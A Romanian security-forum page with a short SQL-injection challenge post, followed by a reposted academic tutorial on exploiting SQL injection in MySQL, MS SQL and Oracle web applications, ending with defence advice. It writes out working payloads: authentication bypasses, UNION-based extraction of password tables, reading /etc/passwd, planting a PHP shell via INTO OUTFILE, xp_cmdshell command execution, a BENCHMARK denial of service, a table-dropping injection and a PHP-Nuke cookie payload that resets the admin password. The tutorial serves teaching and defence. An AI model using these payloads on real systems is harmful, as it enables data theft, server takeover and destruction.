Search the Community

?inta: auth-c1 Rezolvare: https://rstforums.com/forum/63039-mysql-injection-challenge-authentication-bypass-2.rst#post444299 Nu ?tiu cât e de greu, a?a c? v? las pe voi s? decide?i. V? rog s? trimite?i r?spunsul în privat, iar eu voi actualiza postul în caz c? a?i trecut testul cu succes. Date tehnice: tabelul e simplu, are doar 2 câmpuri: name cu o lungime maxim? de 15 caractere ?i, pass unde e p?strat rezultatul func?iei MD5 pentru parola utilizatorului. Baft?! Solvers: 19-01-2013, 07:32 PM — tromfil Not?! Mai jos urmeaz? sugestiile pentru rezolvarea acestui challenge. Iat? de ce, dac? dore?ti s? rezolvi testul folosind cuno?tin?ele proprii — opre?te-te din citit! UPD1: Deci, se d? auth-c2 asem?n?tor cu auth-c1, doar c? metoda de securizare e diferit?. Pentru auth-c2 se folose?te func?ia mysqli_real_escape_string($link, $var) UPD2: A?a cum am spus, pentru auth-c1 este folosit? alt? metod? de securizarea, fiind utilizat? func?ia preg_replace('#[^\w]#', '', $var)

Introducere Se stie ca astazi majoritatea aplicatiilor-web îsi pastreaza datele în baza de date, deoarece acest fapt permite de a genera dinamic pagini. Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt folosite de aplicatie/script pentru generarea unei cereri la baza de date. Evident ca în majoritatea cazurilor pentru a genera cereri la baza de date se utilizeaza limbajul SQL (Structured Query Language). SQL Injection este o vulnerabilitate ce apare în cazurile cînd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta – raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private. Aceasta lucrare reflecta tehnicile simple si avansate ce sunt folosite de raufacatori în procesul de exploatare a vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu usurinta obtinut continutul bazelor de date, datele private, realizarea atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu care este în primul rînd destinat web-programmerilor si expertilor în securitate, pentru a-i atrage atentia la seriozitatea si actualitatea temei abordate. În lucrare ma voi referi mai mul la aplicatiile ce lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele mai raspîndite. Aceasta nu înseamna ca celelalte SGBD sunt mai securizate. 1. Bazele SQL-injection Pentru a întelege materialul de mai jos este nevoie de a cunoaste cel putin bazele limbajului de interogare SQL si realizarea lucrului cu bazele de date în PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia (tabelul) users de urmatoarea structura: O interogare ce extrage datele din baza de date poate avea forma: SELECT * FROM users WHERE name = '$name' În acest caz valorile din cîmpul “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se prelucreaza la simboluri speciale atunci interogarea la baza de date este vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica interogarea. Daca variabila $name primeste valoarea su, atunci cerea la baza de date va fi urmatoarea: SELECT * FROM users WHERE name = 'su' Interogarea este corecta. Însa daca valoarea variabilei va primi valoarea aaa' interogarea va deveni incorecta din punct de vedere sintactic, deoarece este prezent un simbol ' în plus: SELECT * FROM users WHERE name = 'aaa'' Simbolul ' permite de a modifica cererea la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o aplicatie web pentru a afisa datele private a utilizatorului curent logat. Utilizînd simbolul ' raufacatorul cu usurinta poate vedea datele private a tuturor utilizatorilor înregistrati, transmitînd una din urmatoarele valori pentru parametrul $name (presupunem ca în sistem sunt înregistrati utilizatorii admin, su si lma0): random_data' OR name='admin random_data' OR name='su random_data' OR name='lma0 Cererile SQL la baza de date vor fi: SELECT * FROM users WHERE name='random_data' OR name='admin' SELECT * FROM users WHERE name='random_data' OR name='su' SELECT * FROM users WHERE name='random_data' OR name='lma0' Înjectarea permite de a extrage datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina datele despre toti utilizatorii transmitind parametrului $name valoarea: random_data' OR '1'='1 Cererea cu codul injectat: SELECT * FROM users WHERE name='random_data' OR '1'='1' va întoarce toate tuplurile (înregistrarile) din tabelul users. 2. Proceduri de testare a aplicatiilor web la SQL-injection Procedurile de testare a aplicatiilor web la SQL-injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atît parametrii GET cît si POST), incluzînd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii. 2.1. Identificarea parametrilor vulnerabili Sa presupunem ca aplicatia-web este configurata astfel, încît în cazul aparitiei unei erori SQL, în browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema. Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa': http://127.0.0.1/inj.asp?id=aaa' Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta în pagina returnata de server a frazelor de genul “ODBC”, “have an error”, “SQL syntax”, “SQL Server”, “MySQL”, “Oracle” etc. Exista cazuri cînd erorile returnate de server se plaseaza în parametrii ascunsi (hidden input, headers) sau comentarii. În acest caz raufacatorului îi este foarte usor de a injecta un cod SQL malicios: http://127.0.0.1/inj.asp?id=aaa';+drop+table+users;-- Ar trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la baza de date. Este foarte raspîndita situatia, cînd din textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia-web: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in ... Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD. 2.2. Identificarea parametrilor vulnerabili în cazurile cînd nu se afiseaza erorile Sa presupunem ca erorile ce apar în cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului îi ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web. Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cînd serverul returneaza erorile 302 (page redirect) si 500 (internal server error). În acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le întelege este nevoie de a cunoaste tipurile de baza SQL. Atributele în SQL pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul în procesul de exploatare a vulnerabilitatii. În SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise între ghilimele (unele SGBD permit transmiterea si a valorilor numerice între ghilimele): SELECT * FROM users WHERE id=5 /* valoare numerica */ SELECT * FROM users WHERE name='admin' /* valoare sir de caractere*/ Testarea la SQL Injection a parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri posibile: http://127.0.0.1/inj.php?id=5' http://127.0.0.1/inj.php?id=6-1 http://127.0.0.1/inj.php?id=4+1 Daca parametrul id este vulnerabil în primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 – cînd erorile SGBD nu se afiseaza) deoarece cererea: /* 1 */ SELECT * FROM users WHERE id=5' nu este corecta din punct de vedere sintactic. Cererile 2a si 2b: /* 2a */ SELECT * FROM users WHERE id=6-1 /* 2b */ SELECT * FROM users WHERE id=4+1 se for executa corect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id=5), indicînd la 100% ca parametrul numeric id este vulnerabil. O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit între ghilimele si concatenarea sirurilor de caractere în diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle – semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos. Procedura de testare a parametrului name: http://127.0.0.1/inj.php?name=lma0 are deasemenea 2 cazuri posibile. În primul caz se parametrului i se transmite o valoare care o sa genereze eroare SQL: http://127.0.0.1/inj.php?name=lm'a0 Cererea SQL ce va genera eroare: /* 1 */ SELECT * FROM users WHERE name='lm'a0' deoarece este prezent un simbol ' în plus. Într-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia: http://127.0.0.1/inj.php?name=l'+'ma0 http://127.0.0.1/inj.php?name=lm'+'a0 Ca rezultat vor fi formate urmatoarele cereri la baza de date: /* 2a */ SELECT * FROM users WHERE name='l'+'ma0' /* 2b */ SELECT * FROM users WHERE name='lm'+'a0' Ambele cereri SQL sunt corecte si returneaza acelasi rezultat. 2.3. Parametrii vulnerabili în cookie Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection – nu se filtreaza datele din cookie. Nu voi intra în detalii, doar voi mentiona ca în PHP Nuke, în cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies: ... * admin YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ ... Sirul de caractere este codificat în base64: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 Decodificat va fi: admin:96e79218965eb72c92a549dd5a330112: Unde admin – login, 96e79218965eb72c92a549dd5a330112 – md5(pass) (functia hash md5 a parolei), simbolul : este auxiliar. Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php: ... f(isset($admin) && $admin != "") { // daca exista variabila $admin $admin = base64_decode($admin); // se decodeaza din base64 (din cookie) $admin = explode(":", $admin); // se imparte sirul in pina si dupa “:” $aid = "$admin[0]"; // login-ul $pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie ... $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!! ... Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri speciale si este vulnerabila. Astfel raufacatorul cu usurinta poate modifica cookies. Plasînd în locul sirului de caractere: caractere: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 sirul: YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1 JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg== Decodificat ca fi: admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112: Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’. Efectul actiunii date – schimbarea parolei administratorului. 3. Metode de atac Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul cererii SQL în care va fi injectat codul malicios. Cel mai des în aplicatiile-web sunt utilizate 4 tipuri de cereri SQL: 1. SELECT 2. INSERT 3. UPDATE 4. DELETE Care dintre acestea este folosit într-un caz concret, poate fi determinat analizînd logica si semantica scriptului vulnerabil. Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT. Daca scriptul adauga unele date în baza de date, spre exemplu adaugarea unui comentariu, sau un post în forum – cererea este de tipul INSERT. Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului în forum – cererea este de tipul UPDATE. Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE. Cel mai des sunt întîlnite vulnerabilitati în cereri SELECT. 3.1. Injectarea UNION SELECT Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii în primul rînd vor încerca de a injecta clauze UNION SELECT, deoarece în caz de succes raufacatorul va obtine acces la toate tabelele de sistem. În aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD: 1. MS SQL Server INFORMATION_SCHEMA sysobjects syscolumns 2. MySQL mysql.user mysql.host mysql.db 3. Oracle SYS.USER_OBJECTS SYS.USER_TABLES SYS.USER_VIEWS SYS.USER_TAB_COLUMNS SYS.TAB SYS.ALL_TABLES Înainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de atribute în cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de realizat în cazurile cînd nu se afiseaza erorile în browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip. 3.1.1. Identificarea numarului de atribute Mai întîi voi arata cît de simplu se afla numarul de atribute în cazul cînd se afiseaza erorile în browser. Sa presupunem ca exista urmatoarea vulnerabilitate în aplicatia-web ce utilizeaza SGBD MySQL: http://127.0.0.1/inj.php?id=5' Pentru a afla numarul de atribute raufacatorul va forma cererile: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3/* ... pîna ce va disparea mesajul de eroare: The used SELECT statements have a different number of columns Logurile MySQL: mysql> select * from users where id=-1 union select 0; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4,5; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | 3 | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) În cazul cînd erorile cererii SQL nu se afiseaza în browser raufacatorul se va folosi de clauza ORDER BY pîna ce va aparea un mesaj de eroare: http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/* ... Logurile MySQL: mysql> select * from users where id=-1 order by 1; Empty set (0.01 sec) mysql> select * from users where id=-1 order by 2; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 3; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 4; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 5; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 6; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 7; ERROR 1054: Unknown column '7' in 'order clause' Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cînd aplicatia-web întoarce o eroare (302 – page redirect sau 500 – internal server error) numarul exact coloanelor se stie. 3.1.2. Identificarea tipului atributelor Dupa ce se cunoaste numarul de atribute, mai ramîne de aflat tipul acestora. În MySQL tipul datelor este foarte usor de determnat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Însa cînd se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvîntul rezervat NULL, deoarece acesta poate avea orice tip. Presupunînd ca numarul de atribute este calculat, raufacatorului îi este foarte usor de a înjecta clauza UNION cu toate atributele nule. Adaugarea înstructiunii WHERE care întotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL). Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle): http://127.0.0.1/inj.asp?id=-1' +UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2-- Acest tip de injectare cu NULL are 2 scopuri. Principalul – de a obtine o cerere cu UNION fara erori. Si cealalta – aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect. Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Într-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime. -1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – primul atribut este numeric -1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2— Eroare -1'+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al doilea atribut are tipul sir caractere -1'+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al 3-lea atribut este numeric ... Astfel, avînd toata înformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL: mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | fdsJD83h | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) 3.2. Obtinerea unui interpretator de comenzi Unele SGBD permit extragerea rezultatelor cererii SQL într-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell). În MySQL extragerea rezultatelor în fisier se face utilizînd clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul: INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php În MS SQL Server extragerea rezultatelor în fisier putin difera. În componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri – master.dbo.sp_makewebtask – are destinatia aceasta. O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL: EXEC master.dbo.xp_cmdshell 'cmd.exe dir' 3.3. Metode specifice de atac asupra unui anumit tip de SGBD 3.3.1. MySQL SQL injecion permite de a afla si alte date: /* baza de date curenta */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE(); /* utilizatorul care a lansat baza de date */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER(); /* versiunea serverului */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION(); Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3,4,5, LOAD_FILE('/etc/passwd')/* O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reîntoarce simbolul cu codul ASCII num: select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user ceea ce este echivalent cu: select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS: select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil. 3.3.2. MS SQL Server In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server. Extragerea datelor din baza de date poate fi cu usurinta facuta în cazul cînd mesajele de erori ODBC se afiseaza în browser. Sa presupunem ca exista o aplicatie-web vulnerabila: http://127.0.0.1/?page_id=1’ Pentru început raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES-- Serverul va reîntoarce: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma urmatoarele cereri: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')— Raspunsul serverului: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint Cererea urmatoare va fi: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')— Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator. 4. Caracteristici tipice a SGBD 4.1. MySQL 1. Suporta INTO OUTFILE 2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date 3. Suporta interogari UNION si JOIN (doar versiunile > =4.0) 4. Permite transmiterea valorilor numerice între ghilimele 4.2. Oracle 1. Suporta subselect 2. Suporta UNION 3. Nu permite executarea cererilor multiple la baza de date 4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere 4.3. MS SQL 1. Suporta subselect 2. Suporta UNION 3. Permite executarea cererilor multiple la baza de date 4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere 5. Metode de aparare Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection în aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri: 1) Ghilimelele atit simple cît si duble (‘, “, `). Cu ajutorul acestora în majoritatea cazurilor se efectuiaza injectarea codului SQL. 2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare. 3) Simbolurile ce împart instructiunile SQL (. Prezenta acestui simbol permite de a forma mai multe cereri la baza de date. 4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*). 5) În cazul cînd în cererea SQL se utilizeaza date numerice primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui aduse la tipul numeric: $id=(int)$id; 6) În cazul cînd în cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica – este formarea expresiilor regulate. Concluzii Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt foarte raspîndite. În lucrare am demonstrat ca prezenta vulnerabilitatii date în aplicatia-web îi permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS. Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale absolut toate datele ce parvin de la utilizatori. În aceasta categorie intra parametrii GET, POST si chiar cookie. Aspectele reflectate în aceasta lucrare desigur nu acopera în întregime tema atacurilor SQL injection. Fiecare SGBD are nuantele sale pe care raufacatorul potential poate sa le foloseasca spre binele sau. Tema lucrarii date este derivata din tema proiectului de masterat întitulata „Metode si solutii de detectare a web-atacurilor”. Source: http://www.ase.md/~osa/publ/ro/pubro32/